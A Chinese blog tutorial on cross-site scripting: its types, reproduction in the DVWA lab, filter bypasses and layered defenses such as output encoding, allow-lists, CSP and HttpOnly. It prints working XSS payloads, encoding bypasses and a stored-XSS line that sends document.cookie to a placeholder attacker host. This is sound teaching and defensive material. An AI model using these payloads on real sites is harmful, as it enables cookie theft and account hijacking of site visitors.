ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

跨站脚本攻击(XSS)详解:原理、分类、复现与防御指南

2026/9/7 22:46:03 拓冰建站 浏览量
跨站脚本攻击(XSS)详解:原理、分类、复现与防御指南 聊到网站安全XSS攻击是绕不开的一个坎。我在安全领域这些年见过太多网站被XSS打得措手不及——用户数据被偷、管理员Cookie被劫持、整站被挂马最惨的是明明被打了后台日志里还查不到任何入侵痕迹。今天这篇就把XSS攻击的原理、分类、复现过程和防御方案一次性讲透全程用我实际踩坑的经验来带零基础也能跟下来。先说清楚这篇文章的定位不是教科书式的名词解释而是一份可以直接落地的实操笔记。看完你既能知道XSS攻击是怎么一步步打进来的也能知道该在代码里、配置里、流程上怎么堵住这些口子。不管你是写业务的前端、管服务器的运维还是刚入门安全的新手这篇都能对得上你的需求。1. 先搞清楚XSS到底是个什么东西1.1 用一个生活化例子理解XSS攻击XSS的全称是Cross-Site Scripting跨站脚本攻击。念起来跟CSS撞了所以一般缩写成XSS。它本质上是一类代码注入漏洞攻击者把一段恶意的JavaScript代码混进正常的网页里让浏览器当成页面自己的脚本去执行。我经常跟人打一个比方你开了一家小饭店菜单是贴在墙上的一块白板。正常情况下客人只是点菜可突然来了个人趁你不注意在菜单后面用铅笔写了一句“今天全场免费”结果后面来的客人全都照着这句话白吃白喝。这里面的“菜单”就是网页客人就是浏览器那句“全场免费”就是恶意的JavaScript代码。因为浏览器无法区分这句“菜单上的内容”到底是饭店自己写的还是别人偷偷加进来的所以照单全收。这个比喻能解释XSS最核心的一点问题的根源出在数据和代码没有分清。网页上展示的文本、URL参数、用户输入的内容这些都属于“数据”而JavaScript、HTML标签这些属于“代码”。当一个网页把不可信的数据直接塞进代码的上下文里执行XSS就出现了。1.2 XSS攻击的三种常见类型业界一般把XSS分成三大类反射型、存储型、DOM型。搞清楚它们的区别是判断漏洞危害等级和选择修复方案的前提。类型恶意代码存放位置触发方式危害范围反射型藏在URL参数里受害者点击恶意链接只影响点链接的这个人存储型存在服务器数据库里任何用户打开受影响页面影响所有访问该页面的用户DOM型不经过服务器在前端JS里受害者访问被构造的链接通常影响单个用户但可结合其他攻击扩大用大白话说反射型就是“攻击者把炸弹放在链接里谁点谁炸”存储型是“攻击者把炸弹埋在路中间走这条路的人都会踩到”DOM型是“炸弹就藏在网页本身的JS逻辑里”根本不需要传给服务器。危害等级上存储型通常最严重因为它不需要诱导特定的人去点链接只要恶意代码进了数据库所有打开页面的用户都会中招最典型的场景就是评论区、留言板、个人资料展示这类内容型功能。而反射型和DOM型虽然只影响单个用户但如果结合钓鱼链接和社工手段一样能造成账号被盗、资金被转走这类严重后果。2. 从攻击者视角看XSS是怎么打进来的2.1 反射型XSS攻击脚本藏在URL里反射型XSS的原理很好理解。一个搜索框用户输入关键词服务器把关键词原样返回到搜索结果页面上。比如你搜一个“hello”返回的页面就会显示“您搜索的是hello”。问题来了如果这个关键词没有被处理直接拼进HTML里攻击者完全可以构造一个链接/search?keywordscriptalert(1)/script受害者一旦点击这个链接浏览器向服务器发起请求服务器把这段script标签原样拼到返回页面的HTML中浏览器解析时就会执行它。弹出的alert(1)只是证明漏洞存在真实的恶意代码可以是窃取Cookie发送到攻击者服务器的脚本。这就叫反射型因为恶意代码是通过请求反射回来的。我在实际测试里的体会是反射型XSS最大的排查难点在于它不会留任何痕迹。恶意代码只存在于攻击者构造的URL中服务器日志里可能只记录了一长串编码后的参数如果不专门去翻解码后的请求内容基本看不出来被人打过。所以对付这类漏洞光靠查日志是没用的必须在代码层根治。2.2 存储型XSS恶意代码会“传染”存储型XSS更危险。攻击者把恶意代码作为正常内容提交给服务器服务器存进数据库之后每个访问这个页面的用户都会收到这段代码并执行。举个例子一个博客评论区有漏洞攻击者在评论里输入script fetch(https://evil-server.com/steal?cookie document.cookie); /script这条评论被保存进数据库。之后任何人打开这篇博客文章服务器从数据库读出这条评论原样渲染到HTML里浏览器就会执行fetch把访问者的Cookie发到攻击者服务器。管理员打开文章页面管理员的Cookie也照样被偷走。存储型XSS的可怕之处在于它不需要精心构造链接骗取点击恶意代码就静静地躺在那里访问量越大受害面越广。而且攻击者写一次代码可以持续偷数据除非把数据库里那条记录删掉否则漏洞会一直生效。我在做渗透测试时存储型XSS一旦发现基本都是高危起步因为可以直接打管理员权限。2.3 DOM型XSS前端代码自己挖的坑DOM型XSS跟前两种有个本质区别恶意代码不经过服务器。整个攻击链条都发生在浏览器端的JavaScript里。典型的漏洞代码长这样var name new URLSearchParams(window.location.search).get(name); document.getElementById(welcome).innerHTML 欢迎你 name;这段JS获取URL里的name参数然后用innerHTML把它直接插入页面。如果攻击者构造这样一个链接/page.html?nameimg srcx onerroralert(document.cookie)浏览器加载页面后JS拿到img srcx onerror...通过innerHTML插入DOM时这个img标签会被正常解析图片加载失败触发onerror事件恶意脚本就执行了。这里的关键词是innerHTML、document.write、outerHTML这类直接把字符串当HTML解析的DOM操作。前端开发者图省事用这些API却不知道它们在把不可信数据插进页面的同时也给了恶意代码一个合法的“入场券”。DOM型XSS因为不产生服务器请求和响应很多扫描器和WAF根本检测不到只能靠代码审计去发现。3. 搭建靶场实操亲手验证一次XSS攻击3.1 本地靶场环境准备讲原理讲得再多不如亲手打一遍。我建议你在本地搭一个专门的漏洞靶场来练习既安全又直观。最经典的入门靶场是DVWADamn Vulnerable Web Application它在设计上就内置了各种漏洞场景非常适合用来学习和验证XSS攻击。搭建方式各家环境不同我这里给一个比较通用流程主要用Docker方式省去手动配置环境的时间# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 启动容器将本机8080端口映射到容器的80端口 docker run -d -p 8080:80 vulnerables/web-dvwa # 启动完成后浏览器访问 # http://localhost:8080首次访问会跳到初始化页面点“Create / Reset Database”创建数据库然后会跳回登录页。默认账号密码是admin/password。提示DVWA是专门用于安全教学和测试的靶场里面有大量真实漏洞绝不要把它部署到公网。练习时用本地环境就够了。不过DVWA默认自带的XSS测试级别分为Low、Medium、High、Impossible四档档位越高防护越完善。我的建议是先从Low开始理解漏洞成因再逐级看Medium和High的过滤方式最后对比Impossible级别的修复代码这样能一口气看出“从漏洞到修复”的完整演变过程。除了DVWA也可以用PortSwigger出的Web Security Academy那个是免费的在线靶场里面的XSS专项练习难度梯度设计得很好就是需要联网。我自己更喜欢DVWA一点因为整个环境可以完全离线且能看到PHP源码对理解原理帮助更大。3.2 在靶场上复现三种XSS攻击登录DVWA后左侧菜单有一组“XSS”专项练习。我一个个说复现步骤。反射型XSS复现DVWA的XSS Reflected页面是一个输入框提示你把名字提交进去。Low级别下你输入什么页面就直接回显什么。我在输入框里填scriptalert(document.cookie)/script点击提交页面直接弹出一个cookie内容框。这说明服务器把输入原样拼进了HTML没有任何过滤。注意观察浏览器地址栏的变化——输入的内容会被编码成参数拼在URL里这也是反射型XSS的特征。存储型XSS复现DVWA的XSS Stored页面上是一个留言板有个“name”输入框和“message”输入框。我在message里填入scriptalert(you are pwned)/script提交后页面刷新整个XSS练习页面都会弹出提示框——恶意的script标签被存进数据库了。只要以后任何人打开这个页面都会看到弹窗。如果你用另一个浏览器或者无痕窗口访问同样会弹这就模拟了“所有访问者都受影响”的效果。DOM型XSS复现DVWA的XSS DOMDOM型XSS在DVWA里是一个单独的模块。它提供了一个下拉菜单选择语言同时会回显你选择的参数。我重新构造URL在参数里直接注入page.html?defaultEnglishscriptalert(1)/script页面加载后JS去读取这个default参数并写入DOM恶意脚本就会执行。注意这个请求发到服务器时服务器返回的HTML本身是正常的恶意代码是在浏览器端被JS解析后执行的。这也是DOM型XSS最迷惑人的地方——你用浏览器“查看源代码”看服务器返回的HTML根本看不到恶意脚本但它确实在页面上执行了。3.3 参数构造与绕过思路实战里很少遇到无防护就直接注入成功的场景更多时候需要绕过各种过滤。我把Low级别玩明白之后就切换到Medium级别看它到底过滤了什么试了几种基础绕过方式。Medium级别最常见的是过滤script标签。它如果只是把script这个字符串替换成空最简单的绕过就是把标签大小写混着写ScRiPtalert(1)/sCrIpT如果它连大小写也过滤那就要换一种触发脚本的方式比如用事件属性。不需要script标签直接构造一个会触发JS事件的HTML元素img srcx onerroralert(1)这条payload在图片加载失败的瞬间触发onerror事件恶意脚本照样执行。哪怕过滤了onerror还可以换onmouseover、onfocus、onload等一堆事件属性攻击者在这方面的选择其实非常多。再高一层的绕过是编码混淆。比如把alert(1)里的括号做HTML实体编码svg onloadalert(1)或者利用JavaScript支持Unicode的特性把某些字符写成Unicode转义形式。这块内容很深我在这篇里先提个开头后文第5章会继续展开。4. 防御才是重头戏XSS防御的工程化落地4.1 输出编码把恶意代码变成无害字符串XSS防御的核心原则就一条永远不要把不可信的数据直接当成代码输出。要做到这一点最基础也最有效的手段是输出编码Output Encoding。拿HTML上下文举例。用户输入的内容在输出到页面时需要对下面这几个字符做转义原始字符HTML实体lt;gt;amp;quot;#x27;做了这些转义之后用户输入的scriptalert(1)/script在页面上就只是“一串长得像代码的普通文本”浏览器只会原样显示它不会把它解析成标签更不会执行。这正是我们想要的效果。不同上下文要用不同的编码方式。数据出现在HTML标签的内容区、出现在标签的属性值里、出现在JavaScript字符串里、出现在URL参数里这几种位置的编码规则完全不同。如果在HTML标签内容区用JavaScript的转义规则或者反过来都会导致防护失效。举个实际例子用户输入;alert(1);//如果它被直接拼进一段JavaScript字符串里var message 欢迎你;alert(1);//;引号直接闭合了字符串后面的alert(1)成了新语句执行。但对这段输入做JS字符串上下文的转义处理把里面的引号和反斜杠都转义掉变成\它就只能老老实实当一个字符串内容没法破坏上下文。所以做输出编码时一定要清楚数据要进入到哪个上下文用对应的转义规则这个问题是整个XSS防御里最容易做错的细节。4.2 输入过滤白名单永远比黑名单靠谱很多人一听说要防御XSS第一反应就是过滤用户输入把script、alert这些关键词统统封掉。这种思路叫黑名单过滤问题非常大。一方面黑名单永远不可能列全。攻击者可以利用HTML实体编码、Unicode编码、十六进制编码、大小写混写、标签嵌套拆分等手段绕过关键词匹配。今天你封了script明天攻击者用img onerror就绕过去了你封了onerror他换onfocus、onclick又进来了。这个猫鼠游戏没有尽头。另一方面黑名单过滤容易破坏正常业务。用户提交一段含script单词的技术文章被拦截了用户发表代码帖子被误杀这种“宁可错杀一千”的做法体验极差而且并不能真正解决问题。正确的思路是白名单校验。也就是说明确定义这个输入字段允许什么样的数据和格式格式不符的直接拒绝。比如手机号字段只允许数字和、-长度限制11到15位。邮箱字段校验标准邮箱格式。年龄字段只允许0到150之间的整数。富文本字段用白名单过滤HTML标签白名单只允许b、i、p、a这类安全标签属性也做白名单限制所有链接协议只允许http或https。白名单校验输入内容让不可信数据在入口处就变得“可控”再配合输出编码兜底这就是纵深防御的思路。我特别强调一句白名单校验不能替代输出编码它俩是配合关系而不是二选一。输入校验解决的是“进来的是什么”输出编码解决的是“出去以后是不是代码”。4.3 CSP安全策略给浏览器立规矩输出编码做好了大部分XSS都能挡住但这还不够因为代码是人写的总有疏漏的地方。CSPContent Security Policy内容安全策略作为最后一道防线能在前面这些防御失效时把损失压到最低。CSP是通过HTTP响应头或者meta标签告诉浏览器“页面只能加载哪些来源的资源”。一个比较严格的CSP策略长这样Content-Security-Policy: default-src self; script-src self; object-src none; base-uri none;这条策略的含义是页面只能从同源地址加载资源脚本也一样只能从同源加载不允许任何外部JavaScriptobject-src设为none禁掉Flash和插件base-uri设为none防止攻击者篡改页面基础地址。在这种策略下就算某个输入点被注入了一段script srchttps://evil.com/x.js浏览器也会直接拒绝加载这个外部脚本。不过要注意CSP设置得太严格也容易伤及无辜。很多网站用了第三方统计、在线客服、聚合广告等外部脚本如果策略没把这些域名加进去线上功能直接挂掉运维和产品一起找上门。所以CSP的配置是一个渐进调试的过程先开启报告模式看哪些资源被拦截了确认无误后再强制生效。# 报告模式只上报不拦截 Content-Security-Policy-Report-Only: default-src self; script-src self; report-uri /csp-report # 强制模式拦截并上报 Content-Security-Policy: default-src self; script-src self; report-uri /csp-report我自己的习惯是先在Report-Only模式跑上一到两周把误拦的情况全部修掉再切强制模式。上线之后再盯着上报日志就能实时发现有没有人在尝试注入外部脚本。4.4 从开发规范上堵住XSS漏洞工具和代码层面的修复解决的是“点”上的问题但要让网站长期不被XSS打穿还得从开发规范这个“面”上去堵。我根据自己的实践列几个值得推行的规范。模板引擎默认转义。现在的后端模板引擎比如Vue的{{ }}、React的JSX文本节点、Python的Jinja2、Java的Thymeleaf默认就会对变量做转义处理。我碰到的很多历史遗留XSS代码恰恰是开发图省事绕过了默认转义强行用v-html、dangerouslySetInnerHTML、|safe这类关闭转义的语法。这类高危API应该统一收紧在代码评审时重点看它们。Cookie加HttpOnly标志。就算XSS漏洞暂时没能修完只要Session Cookie标记了HttpOnly浏览器就会禁止JavaScript读取这个Cookie。攻击者脚本拿不到Cookie偷到的只是一堆没用的字符串。Redis、Session配置、Set-Cookie响应里都支持这个标志强烈建议全站开启。安全编码培训。这个听起来虚但在团队里是真能救命的。每年花半天时间把反射型、存储型、DOM型三种XSS的实际攻击案例和修复代码给开发讲一遍比事后出漏洞再开会复盘划算太多。安全这行有个共识漏洞最好的修复时机是代码写出来的那一刻而不是被攻击者利用之后。5. 常见问题与排查技巧实录5.1 为什么过滤了script还是被绕过这是我在交流群里被问得最多的问题。很多人把过滤script当成XSS防御的全部然后发现根本防不住就怀疑是不是自己姿势不对。其实原因很简单script只是无数种触发JavaScript的方式之一。HTML语言本身的灵活性决定了XSS payload可以有海量变形。我在这列几个最常见的替代方案!-- 用img标签的onerror事件图片加载失败时执行JS -- img srcx onerroralert(1) !-- 用svg标签的onload事件SVG加载完成时执行JS -- svg onloadalert(1) !-- 用伪协议点击链接时执行JS -- a hrefjavascript:alert(1)点我/a !-- 用表单事件输入框聚焦时执行JS -- input onfocusalert(1) autofocus记住这句话只要输入点在HTML里凡是能触发事件的HTML元素或属性都可能变成攻击载体。所以防御上绝对不能只依赖关键词黑名单要把重心放在输出编码和白名单上。5.2 编码绕过的几种典型场景绕过过滤的另一个大分支是编码混淆。浏览器对HTML、URL、JavaScript分别有自己的解码机制攻击者可以利用多重编码让代码“骗过”过滤器的眼睛又在浏览器里被还原回可执行状态。一个经典的嵌套编码例子a hrefjav#x61;script:alert(1)click/a这里把javascript:中的a写成HTML实体#x61;如果过滤器只做简单的关键词匹配看到的是没有javascript:字样的字符串就放行了。但浏览器在解析href属性时会先把HTML实体解码再当作URL执行于是javascript:伪协议依然生效。这类嵌套解码的问题在后端开发里很常见尤其是把用户输入拼进href、src、style等属性的时候。应对编码绕过没有比“在正确的上下文里做编码”更可靠的方案。比如拼进URL属性就对URL做上下文相关的编码与协议白名单校验拼进JavaScript字符串就在JS上下文做转义。只要编码做对了任何编码混淆在它面前都无从发挥。5.3 排查XSS漏洞的实用工具实际做项目时不能光靠肉眼读代码工具能帮我们快速定位可疑点。我常用的工具分成三类。浏览器开发者工具是排查DOM型XSS最直接的手段。打开Chrome开发者工具观察元素面板里动态生成的DOM结构如果发现用户可控的数据被innerHTML之类的方式插入并解析成了标签赶紧追代码定位。顺便可以用性能面板在关键函数上下断点看每一步数据是怎么流转的。自动化扫描器适合在项目上线前做一轮快速体检。开源工具里我常用的有OWASP ZAP和XSStrike前者功能全面支持主动扫描和被动扫描后者专门针对各种WAF绕过来做XSS测试。商用扫描器如Burp Suite Pro也强烈推荐它的爬虫和扫描器覆盖面很全唯一的门槛就是要付费买授权。代码审计工具用来做静态检测。我用过Semgrep通过规则匹配找出代码里调用innerHTML、document.write、dangerouslySetInnerHTML、v-html这些高危API的位置然后人工审核数据是否可控。这类工具不能完全替代人工审计它的价值在于帮你划定重点检查范围不用把几万行代码从头读一遍。6. 写在最后的一些经验XSS我这几年测下来最大的感受是它特别“接地气”。不像某些漏洞要打复杂的组合拳XSS很多时候就是一个引号、一个标签没处理干净就出来了。但也正因为门槛低它的出现频率和危害面反而比很多高深漏洞都大。一个成熟的网站不可能完全不出XSS关键在于你能不能在攻击者之前发现它、在漏洞暴露之前堵住它。最后分享一个我自己的小技巧每次改完代码我都会在本地起一个DVWA靶场把新写的涉及用户输入输出的功能模块在同级别的防护条件下重新打一遍。虽然这个习惯会多花一点时间但“自己先打自己”这件事帮我拦下了不少真正上线后可能翻车的漏洞。你要是刚起步不妨也试试这个思路——毕竟防御做得好不好你得站到攻击者那一侧去看才能真的说出个所以然来。